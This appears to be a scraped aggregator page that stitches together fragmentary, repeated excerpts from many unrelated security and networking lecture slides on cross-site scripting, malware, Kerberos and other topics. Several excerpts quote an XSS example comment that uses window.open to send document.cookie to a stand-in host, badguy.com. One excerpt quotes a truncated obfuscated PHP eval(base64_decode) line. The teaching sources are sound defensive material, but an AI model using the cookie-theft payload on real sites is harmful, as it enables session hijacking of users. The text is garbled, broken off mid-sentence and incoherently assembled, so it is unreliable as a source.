Ppt on cross-site scripting message turn off

Ken Hornstein with special guests Russ Allbery & Jeffrey Altman

File Transfer Source Repositories LDAP Printing Instant Messaging Mail Services IMAP, POP3, SMTP / Hardware Authenticated Pre-authenticated Transited Path Checked (cross-realm) Authentication versus Authorization Kerberos is an / multiple KDCs for redundancy and reliability. Site Requirements: Windows Domain Controllers Obviously a /in the client request (only recently turned that off). Encryption type #3 Session key enctype/Only works with interactive logons If logon scripts are not executed, the ccache will/


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input that has not been properly validated Security+ Guide to Network Security Fundamentals, Third Edition Cross Site Scripting (XSS) (continued) Cross Site Scripting (XSS) attack steps An attacker searches for a Web site that redisplays a bad login (See Figures 3-8 and 3-9) The attacker /is not controlled, an attacker can use it to forward thousands of spam e-mail messages The defenses against SMTP open relay are to turn off mail relay altogether So that all users send and receive e-mail from the local SMTP/


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message, or bounced off from some other server)  DOM injection – Injected code manipulates sites javascript code or variables, rather than HTML objects. Example Comment embedded with JavaScript comment=“Nice site! window.open( http://badguy.com/info.pl?document.cookie http://badguy.com/info.pl OWASP Rochester Sept 2007 18 A1. Cross-Site Scripting/ SQL), using shell commands to run external programs  Using system calls to in turn make calls to the operating system. Any Web application that relies on the use/


Copyright © 1995-2013 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE USC CSci530 Computer Security Systems Lecture.

scanned as they are brought over to computer (web pages, email messages) or before execution. –On server and client Activity based –Related / that is turned off and/or disconnected from the network. The social engineering attack against such systems is to convince someone to turn it on and/Malware attacks ▪Spyware ▪Viruses ▪Worms ▪Trojan Horse –Man in the middle –SQL Injection –Cross Site Scripting Copyright © 1995-2013 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE Break/


1 Aman Shaikh, Albert Greenberg, August 2005 Operations and Management of IP Networks: What Researchers Should Know Aman Shaikh Albert Greenberg AT&T.

by workflow management systems Phased, scripted component and end to end test and turn up procedures In synchrony with /collection; data validation; SLA reporting Example: Provisioning for site to site SLAs Probes/reporting CEPE Provider NetworkCE 50 Aman Shaikh,/ write portable tools that feed off syslog –Syslog is not reliable Loss of messages when router CPU is busy 67/ impact Key ingredients –Data, models, and process – IP and cross-layer (optical, service) Importance and difficulty of data flow and data/


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Player and installing unauthorized applications Lab A Review Where can you turn on and off security messages related to virus protection? What are some of the other security messages that can be configured in Windows 7? How can the /own user profile, without requiring administrative privileges Per-site ActiveX - IT professionals use Group Policy to preset allowed controls and their related domains XSS Filter - identifies and neutralizes a cross-site scripting attack if it is replayed in the server’/


Copyright © 1995-2009 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE USC CSci530 Computer Security Systems Lecture.

that is turned off and/or disconnected from the network. The social engineering attack against such systems is to convince someone to turn it on and/the past. In computers, this usually involves: –Reconstruction of messages from logs, traces and recordings –Attribution of actions through log/attacks ▪Spyware ▪Viruses ▪Worms ▪Trojan Horse –Man in the middle –SQL Injection –Cross Site Scripting Copyright © 1995-2009 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE /


Lecture 19 Page 1 CS 136, Spring 2009 Web Security and Privacy CS 136 Computer Security Peter Reiher June 4, 2009.

client Lecture 19 Page 9 CS 136, Spring 2009 More Threats Cross-site scripting –Clients attack each other Threats based on non-transactional nature of communication/Message Lecture 19 Page 60 CS 136, Spring 2009 What’s Been Achieved? Nobody improper read the message Nobody knows who sent the message –Except the receiver Nobody knows who received the message/turned on So, turn them off then Lecture 19 Page 66 CS 136, Spring 2009 But... What if we turn it off just before entering a “sensitive area”? And turn/


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Creating Secure Software Sebastian Łopieński CERN CERN School of Computing 2016.

17 How much security? Total security is unachievable A trade-off: more security often means –higher cost –less convenience // leifpeng.com Creating Secure Software Sebastian Lopienski, CERN 40 Messages Security is a process, not a product * threat / Things to avoid Situations that can turn very wrong very quickly Creating Secure /transfer) Creating Secure Software Sebastian Lopienski, CERN 112 A3: Cross-site scripting (XSS) Cross-site scripting (XSS) vulnerability –an application takes user input and sends/


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message, or bounced off from some other server) DOM injection – Injected code manipulates sites javascript code or variables, rather than HTML objects. Example Comment embedded with JavaScript comment=“Nice site! window.open( http://badguy.com/info.pl?document.cookie A1. Cross-Site Scripting / calls to backend databases via SQL), using shell commands to run external programs Using system calls to in turn make calls to the operating system. Any Web application that relies on the use of an interpreter has /


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securityfocus.com/infocus/1745 #4: Cross-site scripting (flaw) protected void doPost(HttpServletRequest req, HttpServletResponse res) { String title = req.getParameter(“TITLE”); String message = req.getParameter(“MESSAGE”); try { connection = DatabaseUtilities.makeConnection(s); / allow directory traversal Administrative services accessible Default accounts/passwords Countermeasures Create and use hardening guides Turn off all unused services Set up and audit roles, permissions, and accounts Set up logging and/


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Attacker needs to trick the victim into using this URL. Malicious Mobile Code XSS (cross scripting) attack Assume victim has interactions with a vulnerable website. Attacker crafts a link,/ they access system resources. Could mistakenly be designated as safe for scripting. A hostile web-site can then call them in its html code. Eyedog (1999) /. Log is full of warnings. 3. Turn off WFP by changing a registry key WFP still active until reboot. Warning message after reboot. Windows User Mode Rootkits Attacker /


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Security Vulnerabilities Developers Face when Creating Web Applications Neal Ford Application Architect ThoughtWorks www.nealford.com www.thoughtworks.com.

How to Protect Yourself Create a hardening guideline for your site Configuring all security mechanisms Turning off all unused services Setting up roles, permissions, and accounts,/Cross-site Scripting Flaws Occurs when an attacker uses a web application to send malicious code (usually a script) to another user Two categories Stored Injected code is permanently stored on the target server (database, message forum, visitor list, etc). Reflected Injected code is reflected off a web server, in an error message/


Malware: Scanners, Sniffers, Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics.

Attacker needs to trick the victim into using this URL. Malicious Mobile Code XSS (cross scripting) attack Assume victim has interactions with a vulnerable website. Attacker crafts a link,/ they access system resources. Could mistakenly be designated as safe for scripting. A hostile web-site can then call them in its html code. Eyedog (1999) /. Log is full of warnings. 3. Turn off WFP by changing a registry key WFP still active until reboot. Warning message after reboot. Windows User Mode Rootkits Attacker /


Malware: Scanners, Sniffers, Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics.

Attacker needs to trick the victim into using this URL. Malicious Mobile Code XSS (cross scripting) attack Assume victim has interactions with a vulnerable website. Attacker crafts a link,/ they access system resources. Could mistakenly be designated as safe for scripting. A hostile web-site can then call them in its html code. Eyedog (1999) /. Log is full of warnings. 3. Turn off WFP by changing a registry key WFP still active until reboot. Warning message after reboot. Windows User Mode Rootkits Attacker /


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ХАКЕРИ в Internet Injection attacks (XSS) are when an attacker embeds commands or code in an otherwise legitimate Web request. This might include embedded.

that has its view state MAC-disabled is potentially vulnerable to a cross-site scripting attack against the __VIEWSTATE parameter. (The first proof-of-concept of / property of XmlReaderSettings to null. If you don’t need the capability, turn it off: XmlReaderSettings settings = new XmlReaderSettings(); settings.XmlResolver = null; XmlReader reader =/ When EnableViewStateMac is enabled, the ASP.NET application adds a cryptographic Message Authentication Code (MAC) to the hidden __VIEWSTATE form value. There’s/


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1 WELCOME! This slide show is one (modified) part of a professional development workshop that I conduct. During those workshops, the slides are accompanied.

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LIS650part 0 Introduction to the course and to the World Wide Web Thomas Krichel 2011-02-03.

At initial connection, you will be shown a warning message that you can ignore. When saving or duplicating files, /sites will hurt the credibility of you site. Make sure your site still looks reasonable in your browser when you turn CSS off/-level “destination” pages is less of a problem. write cross-culturally Use simple short words. Use short sentences. Use common/a conforming alternate version other techniques types Client scripting techniques Server scripting techniques SMIL techniques. SMIL is a language/


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(group, possibly crossing national boundaries, where/messages Destroy or delete messages (technically an availability attack rather than an integrity attack) Format Failures Subsection Headings: Malformed Packets Protocol Failures and Implementation Flaws In short, protocols and their implementations may not handle unexpected input well Malformed packets may cause system failures Or they may have “unexpected” effects, which an attacker may take advantage of Web Site Vulnerabilities Web sites/scripts/off/turning/


Copyright © 1995-2009 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE USC CSci530 Computer Security Systems Lecture.

that is turned off and/or disconnected from the network. The social engineering attack against such systems is to convince someone to turn it on / the authentication methods used during the lifecycle of an electronic mail message. Enumerate the authentication methods that may be used at different stages/attacks ▪Spyware ▪Viruses ▪Worms ▪Trojan Horse –Man in the middle –SQL Injection –Cross Site Scripting Copyright © 1995-2009 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE/


Copyright © 1995-2008 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE USC CSci530 Computer Security Systems Lecture.

that is turned off and/or disconnected from the network. The social engineering attack against such systems is to convince someone to turn it on / the past. In computers, this usually involves: – –Reconstruction of messages from logs, traces and recordings – –Attribution of actions through log/▪Spyware ▪Viruses ▪Worms ▪Trojan Horse –Man in the middle – –SQL Injection – –Cross Site Scripting Copyright © 1995-2008 Clifford Neuman - UNIVERSITY OF SOUTHERN CALIFORNIA - INFORMATION SCIENCES INSTITUTE Hypothetical/


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on a link in an e-mail message from a questionable source – Related to phishing and cross-site scripting attacks Vulnerability Types (contd.) Protocol /but when provided with a specific input, it turns malicious – Examples include Buffer Overflow vulnerability, Cross-site Scripting (XSS) vulnerability and SQL Injection vulnerability Vulnerability Types/Communication medium (bluetooth, NFC, internet, etc.) On-line versus off-line CardHolder Present E-Transactions Considerable credit card fraud has motivated/


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Viruses, Worms, Mobile Code COEN 252 / 152: Computer Forensics.

Attacker needs to trick the victim into using this URL. Malicious Mobile Code XSS (cross scripting) attack Assume victim has interactions with a vulnerable website. Attacker crafts a link,/ they access system resources. Could mistakenly be designated as safe for scripting. A hostile web-site can then call them in its html code. Eyedog (1999) /. Log is full of warnings. 3. Turn off WFP by changing a registry key WFP still active until reboot. Warning message after reboot. Windows User Mode Rootkits Attacker /


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55 machines ($ 390,553) – “Oh! You can just turn that off!”, or, “See steam come out of the operations folk’s/Memory Leaks The right way to convey the message – We detected the issue, and sent mail/ detect and fix the issue How would your site do this? © Ron Kaminski 2010, All / proper mesa tests? – design realistic load scripts with proper think times? sufficient disk storage /Associates Inc., the llama book ( Learn perl in a few cross country flights!) Programming Perl, by Wall, Christiansen & Orwant, /


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This can be achieved through a virtual private network (VPN) or encryption. The trade-off is that encryption generally put higher load on the server (and also the client). /the server side may be However, you may get URL like: You, in turn, run: 43 http://my.com/openfile?file=data.txt grep saving data.txt /: submit crafted data 2: browse and run the submitted commands. Cross-Site Scripting (XSS) For example, instead of submitting forum message to the web application like this: The attacker submits: or When/


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Chapter 8. Copyright Pearson Prentice-Hall 2010  Some attacks inevitably get through network protections and reach individual hosts  In Chapter 7, we.

file: /**/eval(base64_decode("aWYoZnVuY3Rpb25f ZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQo... (this continues on) 8  Buffer Overflows  Stack Overflows  Cross-Site Scripting (XSS)  SQL-Injection Copyright Pearson Prentice-Hall 2010 9  Buffer Overflow Attacks ◦ Buffers are/Simple Network Management Protocol (SNMP) ◦ Messages  GET messages to get information from a managed object  SET messages to change the configuration of a managed object  SET is often turned off because it is dangerous 88 Copyright Pearson /


LIS650part 0 Introduction to the course and to the World Wide Web Thomas Krichel 2010-09-12.

At initial connection, you will be shown a warning message that you can ignore. When saving or duplicating files, /sites will hurt the credibility of you site. Make sure your site still looks reasonable in your browser when you turn CSS off/-level “destination” pages is less of a problem. write cross-culturally Use simple short words. Use short sentences. Use common/a conforming alternate version other techniques types Client scripting techniques Server scripting techniques SMIL techniques. SMIL is a language/


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